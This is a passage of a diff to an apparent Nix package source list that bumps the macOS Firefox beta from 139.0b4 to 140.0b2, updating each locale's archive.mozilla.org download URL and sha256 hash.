+      sha256 = "529a01a430b6fd03e8de52f7fad75243d53fd042d39dba676b285156f7279a89";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/et/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/et/Firefox%20140.0b2.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "3623ae5b628d82224b39e5506e5f1b604355e932d7a2e320795baeb72e892323";
+      sha256 = "c4e67c20198d278dc784212f765c638f25137d3654ccb3cdb49564c599a0d074";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/eu/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/eu/Firefox%20140.0b2.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "ef038ab87151a9ec36b311ab73fab8d5444f8ac9317c94b8ade608a7387f83bb";
+      sha256 = "5a2cdbf4aef80735073adf761ca7ebeafee4ec68868c1b19580dc0a3d73d3d4c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/fa/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/fa/Firefox%20140.0b2.dmg";
       locale = "fa";
       arch = "mac";
-      sha256 = "84034c107634a08322974c899956ef02ec725970603d9f73d15833c508089984";
+      sha256 = "57e1d9990fbc724eca8b9bc3f2bd8b2b63c30d99788859d4cdf6c94104dc0713";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/ff/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ff/Firefox%20140.0b2.dmg";
       locale = "ff";
       arch = "mac";
-      sha256 = "2874b586b9cc2f55fe12a1dda4de3f45f702966359f62276b6009c113193e87d";
+      sha256 = "2b5bcf6057d17ef408cdcb198198d67a9f27a0bea5f3bc682a167d958b2bbf54";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/fi/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/fi/Firefox%20140.0b2.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "dba286212463e1fcd3052dcaa8a66fa2d5a938052c74b655d634e700522041e3";
+      sha256 = "392ce242ddef92bf02dff3f7ce26f7dfc5358a259a3679ebc2333294650e91cb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/fr/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/fr/Firefox%20140.0b2.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "d4ca7c3969f32f2af2f2ca4824d4439228a8e17386c9cf9fe849caba4c271280";
+      sha256 = "c07d5671bef18729205554a881e2055c2d4af04c1109210ba8ea5b5e33c0c553";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/fur/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/fur/Firefox%20140.0b2.dmg";
       locale = "fur";
       arch = "mac";
-      sha256 = "4accfe0a3721b1ac5ffac33b586e778fe888210b92c4375c80aed95e3daa34db";
+      sha256 = "baeb0ab73c5b288c67fb87a57f9b3866071051e7e04e68c9f554b30640aa988f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/fy-NL/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/fy-NL/Firefox%20140.0b2.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "db6751ce87b9e801a1bb72a0f04c7f909fd6aab5c4cb5591b522e798355f9eba";
+      sha256 = "57d0713b6c1eca3460bbeb1f9cc6a769db2bb01036054a5538cca93c6fbb5225";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/ga-IE/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ga-IE/Firefox%20140.0b2.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "257dc1d4b56b5e633bdba46ec71469b746f175ebab0463ca3792257e7c6efdf0";
+      sha256 = "82fd3bf162cf641549c2a98fe88393d3caa1a41ebdd9fef15e3aff278b24cf5f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/gd/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/gd/Firefox%20140.0b2.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "e2f8d9c9c0a494239472b760687d1bdcaf018a9a3a87882541936ab3c628f974";
+      sha256 = "b15a9124f3c4a138adaf497109467d242b7eb706f7ba904c53e9073fa5b40068";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/gl/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/gl/Firefox%20140.0b2.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "f735a8db8e58deb85c1b2455db1924f3375df450890bd1e0a94990e5744bc831";
+      sha256 = "be63b8dabc4673022dd0c69577d202efea303ef3d9204bebbe86b09c80913602";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/gn/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/gn/Firefox%20140.0b2.dmg";
       locale = "gn";
       arch = "mac";
-      sha256 = "4c859dcd1819e5c53a3adff48d958a8d301a37e72ed0de63abd71889aff02c0d";
+      sha256 = "0fd5f6cf33ea00c65c1e37c2b5b27e6e28b1e804f873ed2a81862639697fb6da";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/gu-IN/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/gu-IN/Firefox%20140.0b2.dmg";
       locale = "gu-IN";
       arch = "mac";
-      sha256 = "ba0941058959c7cfc06cbe6cab3245499850369f7f31d8428cc1cdb88f1ff673";
+      sha256 = "a72071f5897b9de30fe23ab448751d88b0943a1ce12bbac525fc25e0d06ca824";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/he/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/he/Firefox%20140.0b2.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "75e398253677225953a07d1e9e144adc4086968899554b7d57031cc8f5b1b638";
+      sha256 = "8f5873c677ffa3bf8f3c03c1cdd56c9d532f5576b1d45e3eaddc4ca63a4c84d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/hi-IN/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/hi-IN/Firefox%20140.0b2.dmg";
       locale = "hi-IN";
       arch = "mac";
-      sha256 = "66872abb8f5eeacdbe8bd6f5c96c9566e72ebfa57b897dc64c46df2ab0fdfc84";
+      sha256 = "ef2a4cb4a0822afd273713265b2bd12199cd5754876205435a996af6bd08e7db";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/hr/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/hr/Firefox%20140.0b2.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "d8d8e4aea4c86635ee536fa929e12eece775e2abab09956244776a9de308b4bc";
+      sha256 = "19f7a517502a8cf46cb802fd428688b2f9733a4b29c6bd69ffb42ead7078c823";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/hsb/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/hsb/Firefox%20140.0b2.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "d5c31f2a62960141813d8f0d9120fd9af14a114e418b2f71c4b61760abb0addd";
+      sha256 = "43b7bed183606c1ea212fde9cd996ec7b0c227e2e827ca7f0ac11a11a46c1f46";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/hu/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/hu/Firefox%20140.0b2.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "aec856b42ff661f07626fe6e7c49fbc09eb09b7e3732e5a4ffd7e2152ba18fdc";
+      sha256 = "97998fce9f91f25ae8354c274cd0a8e29145935163e1b0d723818d939bfe0434";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/hy-AM/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/hy-AM/Firefox%20140.0b2.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "3757bad209cde3d24c008756be1e1ba03bc86a6567c5f919221b75ca113c70c5";
+      sha256 = "26fdba87a2584afba336c3e388abf0bcaf75352694415954644b3300a482fd88";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/ia/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ia/Firefox%20140.0b2.dmg";
       locale = "ia";
       arch = "mac";
-      sha256 = "669117617c58b1048772c519dd9796e25636703d6f1ce29ca4b41a25c9734140";
+      sha256 = "a714bf43aa173d5d4ef29ee5e406f09fe137ab1d9a311299604dbd6a63653238";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/id/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/id/Firefox%20140.0b2.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "4e7a95a805b4a870201728c6fe267a69751b8d7135210133718b48771b1efd81";
+      sha256 = "883a1081b0a0bb03fbf5ab735520b241f9f6d46f05ff7492750223ba1388bfde";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/is/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/is/Firefox%20140.0b2.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "1ab46c1a5858000683c0004dc3fdb59d2b2ded4e78b24b1d9ec0daf2945db6e3";
+      sha256 = "411ac5c44cca622d542e568ead74f6192c4dfe717ac16863554b1d6da11755c5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/it/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/it/Firefox%20140.0b2.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "e7cc58da37fa5dc49d32b85c226e25214546dab7798458f18db31c3a28420691";
+      sha256 = "fb088f8cdcaf8ea9aced69ca2892fb776dcf48b746f0abef6975e99854c55a79";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/ja-JP-mac/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ja-JP-mac/Firefox%20140.0b2.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "26ee160188fcb0d59bb88e0ae10856b556a01a16254f59b122490714ac3a8cef";
+      sha256 = "9258d8f492c8c64695af53960fcdbeee60a6bb82a37d71abc77abe1002f98f09";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/ka/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ka/Firefox%20140.0b2.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "4ceb3e350415425f05ce77abdc582d4f5a8934dae7a987cfa9ab909543f25d1a";
+      sha256 = "0f486c5bbcc0af6a9bdb4e1b706c303501284848d3fcfd4000c1bfca71bc0300";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/kab/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/kab/Firefox%20140.0b2.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "eb2cd412c94a67415664290b14a08f5bb870b3f25e7fa404dfd68272e33df4fd";
+      sha256 = "ccbda4ad3d59661a897a1b47ac77e0c48144802575f6740aec95d788227e1028";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/kk/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/kk/Firefox%20140.0b2.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "c2bbf15bd5013388c090b9ba7631ccd6ca803c262b2e3f8ac8f07a8ff22d0bcf";
+      sha256 = "e55c667813ee5b15f79c5d623cb33eebd1eec5ac4d57f2a8bb9c3466794b746d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/km/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/km/Firefox%20140.0b2.dmg";
       locale = "km";
       arch = "mac";
-      sha256 = "b75cfef561797c1b19f696234e6c5792f0835de469b71dc0736c47087ea43b02";
+      sha256 = "5774f04b93c6863b27514a2eae504bcfc1ef8ccfc068a953e4d3e270dedf7b93";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/kn/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/kn/Firefox%20140.0b2.dmg";
       locale = "kn";
       arch = "mac";
-      sha256 = "383e8dca3ee948a086e4a9bfb16149c443ecb5aab957564ec33e7f32b98f3c61";
+      sha256 = "7c376799a36ce1cd8f89798ebdd777f7886a99693c5f98729684252d340ba2d4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/ko/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ko/Firefox%20140.0b2.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "e4fd810f240a24a9fa9d7d9a3e3d52d3eb8bcd59704da3777998c4288d8d5634";
+      sha256 = "5f3d2829512178f393b9a665ebeea9cf4f18e9afa042839b7f53e2b620c5db8e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/lij/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/lij/Firefox%20140.0b2.dmg";
       locale = "lij";
       arch = "mac";
-      sha256 = "d803bf21f5b2fbd058319b68b86ee3a1ceefa9473fc0ed85cf549065c4040a13";
+      sha256 = "30ec59741eb1324d18f995d1b94fe5928421002bfc0d8876cfff257148eda97e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/lt/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/lt/Firefox%20140.0b2.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "3e8a7440f91d017060f4045a2bf99eeaafbffeb114de3a3afde30b71dee77f54";
+      sha256 = "0fe2982d361f6beffd4d61f55fd81843943a9fb4daeb1c2df872191cb1bc6a17";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/lv/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/lv/Firefox%20140.0b2.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "cc82e24338955ea73fc488cd2bd4408783e1006d8a4644036de09c2731cc1fa2";
+      sha256 = "7914c9bcf07701a2978c0ff417e14a23078ae2cd6ec6315b4be8979ab09e9823";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/mk/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/mk/Firefox%20140.0b2.dmg";
       locale = "mk";
       arch = "mac";
-      sha256 = "d12e758204660abeae700ad10b79effb2627486cda0a6123bed191e3d6ff9282";
+      sha256 = "244798bc32bd4429eb230b4aa7d7a6192c5456cb95faee5bf66f09ad8013517b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/mr/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/mr/Firefox%20140.0b2.dmg";
       locale = "mr";
       arch = "mac";
-      sha256 = "8ad6085ae950d89ba4754dd9ea3f9154ecf12252ee47636fd6834ba8dc7ff71f";
+      sha256 = "67a2d6ce2ac921d47d01ef7cee9543014eeb4f2db0394ba3b459114b5e65c23d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/ms/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ms/Firefox%20140.0b2.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "c7f082195da9a650df72066d7f4e9004adb59fca30deaed4ecfd2e70514c02fd";
+      sha256 = "d74083626dfccd8d628ef0326ff7f2865cad8c0c32aada246d4cbd9edd6cdefa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/my/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/my/Firefox%20140.0b2.dmg";
       locale = "my";
       arch = "mac";
-      sha256 = "639b38b8c6b9e42ae89fbaea360ddfed3be74e9eb3a55456a251d9d22ede241d";
+      sha256 = "61a501809b50a3006a362eeb76f3c4d49bad778cee9fe35b6dd072c53e7be210";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/nb-NO/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/nb-NO/Firefox%20140.0b2.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "87a676d880411221b19763c9263024507d41e0c89f6fd818f8efe8563952bd09";
+      sha256 = "7b1fbd6ed0aaa7865997be627bc7c89622f872c2c5c7725393620404bb6660c5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/ne-NP/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ne-NP/Firefox%20140.0b2.dmg";
       locale = "ne-NP";
       arch = "mac";
-      sha256 = "b8018da6989bdb66b02dc386b608ee439718b5ba2f377dc3302710ce7854aa8d";
+      sha256 = "e16d0769328870f6b964ffc209b6c0b2cdfa015a83ef1b7744cedbaf91f7ed29";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/nl/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/nl/Firefox%20140.0b2.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "9037c896ea9aedd7275c8922f4a61d5ad9e4b41ecf43f808e9e996c7d702ed33";
+      sha256 = "92bade0cb93b3aa2bafee685b671f4284144f554a3910fe6c3d125a58fd1c830";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/nn-NO/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/nn-NO/Firefox%20140.0b2.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "06368696dcedd347d62ceb7a1bf3ce6f0d92eab035310aa704b0a09a495448c9";
+      sha256 = "0ee61fda7d45de9c3a85a88514aef5fa2d7ef9c33e839657257da3804c33e488";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/oc/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/oc/Firefox%20140.0b2.dmg";
       locale = "oc";
       arch = "mac";
-      sha256 = "9865f0cf11e8baf3b6930617597ba807b1e06d95abc9a8a68525119a0d591e48";
+      sha256 = "9b549cec47785c84ed77694f21efa1c8a39eecb76bddfa191e43e54ebd798adf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/pa-IN/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/pa-IN/Firefox%20140.0b2.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "1bd442dfd70d0da87a4904f25a955323fa15d1551d529e710876c2c4e7cf257a";
+      sha256 = "271b013e5388416b2d0956b72d68191cd51857d0ab92595a2ff2f7a0aad95462";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/pl/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/pl/Firefox%20140.0b2.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "e261443f9dd5160e941378c9c8f0aaef9159ae21172babecd0154b7481081210";
+      sha256 = "04554a10737ed4c2862a3b9e20c82de6e22b6053a55e4ef34b62bc977a8e1ef3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/pt-BR/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/pt-BR/Firefox%20140.0b2.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "4140fca76b890df5b79a7accc26bba64f43b31b3818bf5567930451666cfca43";
+      sha256 = "cf56901b76d04c7ed54827e07d11ef8556cabaf7fc9657b83fbc3d86b051a104";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/pt-PT/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/pt-PT/Firefox%20140.0b2.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "8d492cdcc1af5e98bf89039474b1af4e7e4f784e82ad2645351500a2dc22bf23";
+      sha256 = "07d160fbc743da7aff2f3501c4861abb300d509549ad46d8230a298f62e57b99";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/rm/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/rm/Firefox%20140.0b2.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "c65018162dfec1f1f1a03be127fb27bbd25a604a4e5d2df53f5bbbd13f02e64c";
+      sha256 = "2bf8142a9034bd15ea15e625788d7dd2aeeb378df54b1e64330a99d6d8fb84e0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/ro/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ro/Firefox%20140.0b2.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "396b5d2061bb0df1fa5af0b1b77e92c230e043a853cc0df7bad529c74eec6c1f";
+      sha256 = "c739d147056f2fe970b53977e58139580c6200d414d5a07c656bd33386f8d1f9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/ru/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ru/Firefox%20140.0b2.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "c90e4d1bf9440ab473eeeb6ebbf57051b30d13f5586abe7adb61487f43b15423";
+      sha256 = "a52b9100ed56fdeb1d3fcb96741e379d96062a89d27a52dc3e1b56ee9d295941";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/sat/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/sat/Firefox%20140.0b2.dmg";
       locale = "sat";
       arch = "mac";
-      sha256 = "4a02f90828c7bcd302ed8e2689dad6b9186ae230210c0a56b2a8fcfc3001880f";
+      sha256 = "593a800e5993a1d64b25de417e21b86604bf00a5a46b3bdabeda86ab04876a31";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/sc/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/sc/Firefox%20140.0b2.dmg";
       locale = "sc";
       arch = "mac";
-      sha256 = "1ce3f7cb4770771ab928006ccd0c2d855a5c69179efec9e62e8dafbdcffd54f5";
+      sha256 = "195f0e203e720b40024ccfe65e98b9c3fe485e5f27ab10aeb7f01145f129be2c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/sco/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/sco/Firefox%20140.0b2.dmg";
       locale = "sco";
       arch = "mac";
-      sha256 = "5ac1424837f62ff290017a880b9b816bc7ab79e7a4401a2e8dbab8e3b05478c0";
+      sha256 = "dfceefc189afb27e80659e38446433b9cf92fb81c92b783ff9ae1533a0ca950c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/si/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/si/Firefox%20140.0b2.dmg";
       locale = "si";
       arch = "mac";
-      sha256 = "6f0f1b88034a03b3f1c31db951f23555b2e758338b92eb7e9486b38376b0540a";
+      sha256 = "70c88ca3c07759e59add1e057020f7bc18a9b2dd582178727bd6c0c9a74ff407";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/sk/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/sk/Firefox%20140.0b2.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "44d0e95057c74f1e6728ed14aeeb4846f789d5c7770a327a6530c21837bd230d";
+      sha256 = "ce352af03817432c6f8da15ffa2c57ecd2fde59729140ac0f7cd59439d677185";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/skr/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/skr/Firefox%20140.0b2.dmg";
       locale = "skr";
       arch = "mac";
-      sha256 = "e18e95beecb16f455ff78e9eab622e6df7e80b0461c6beec5e2b68534802653e";
+      sha256 = "6205c5cc529b43747cbbb3931e828dd273cac01c1cb4413c8dccf8a3f37b075e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/sl/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/sl/Firefox%20140.0b2.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "065a5250d0145b713685c045280cca1bf7a2559e10d1c812fc4e1a6108b0b114";
+      sha256 = "74cb297c6f9fc2fef69bfa7f8a0f7c846e6980ef980b40b8479ca843caf20fc2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/son/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/son/Firefox%20140.0b2.dmg";
       locale = "son";
       arch = "mac";
-      sha256 = "e7d1090386a485211cb358bb757a0fa54d0953eac79347eea36dce4808d443a8";
+      sha256 = "d0972c1cf8c89153daaa8fecea950802dc3c15d93e53eb0549f33e31178dc51f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/sq/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/sq/Firefox%20140.0b2.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "cb5a4f74226b68fafe633f6e39af27948ffe9bfa3c866cb9f935018f0ab01fb4";
+      sha256 = "cf89a59786a888726616aae73c8b1a3ba783e64fbcfda3b383d66ec72a6b1d8d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/sr/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/sr/Firefox%20140.0b2.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "676d0da9ee7951a46270b9f47bd33ac5135b4a439a93f61eb260c8f0af2c0d49";
+      sha256 = "91ebceddc8280c6c7fb35306abdc551ca4671944f7caceb493a5dab8f200a563";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/sv-SE/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/sv-SE/Firefox%20140.0b2.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "c4f9814dab5efee3a4a67cc9f8bd703d015b51f4e59947dac56636f0a9325048";
+      sha256 = "864e8427329b950ad42ead7d0044c51a5bc5595f1f94038093b0fbc6eaeee2f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/szl/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/szl/Firefox%20140.0b2.dmg";
       locale = "szl";
       arch = "mac";
-      sha256 = "1d92ef8edb7bb67be228771019f2f1fc9ae72ba3f005998f9f2db60287fc81e2";
+      sha256 = "92dae8cb9b2f3388a070672cbe74e2f2399cd416374f78ac7201ac6389bf5865";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/mac/ta/Firefox%20139.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ta/Firefox%20140.0b2.dmg";
       locale = "ta";
       arch = "mac";
-      sha256 = "f210471b4963521bce9aa29b4526e786cfd615a7dc3c57f6f16c92327ebaed86";
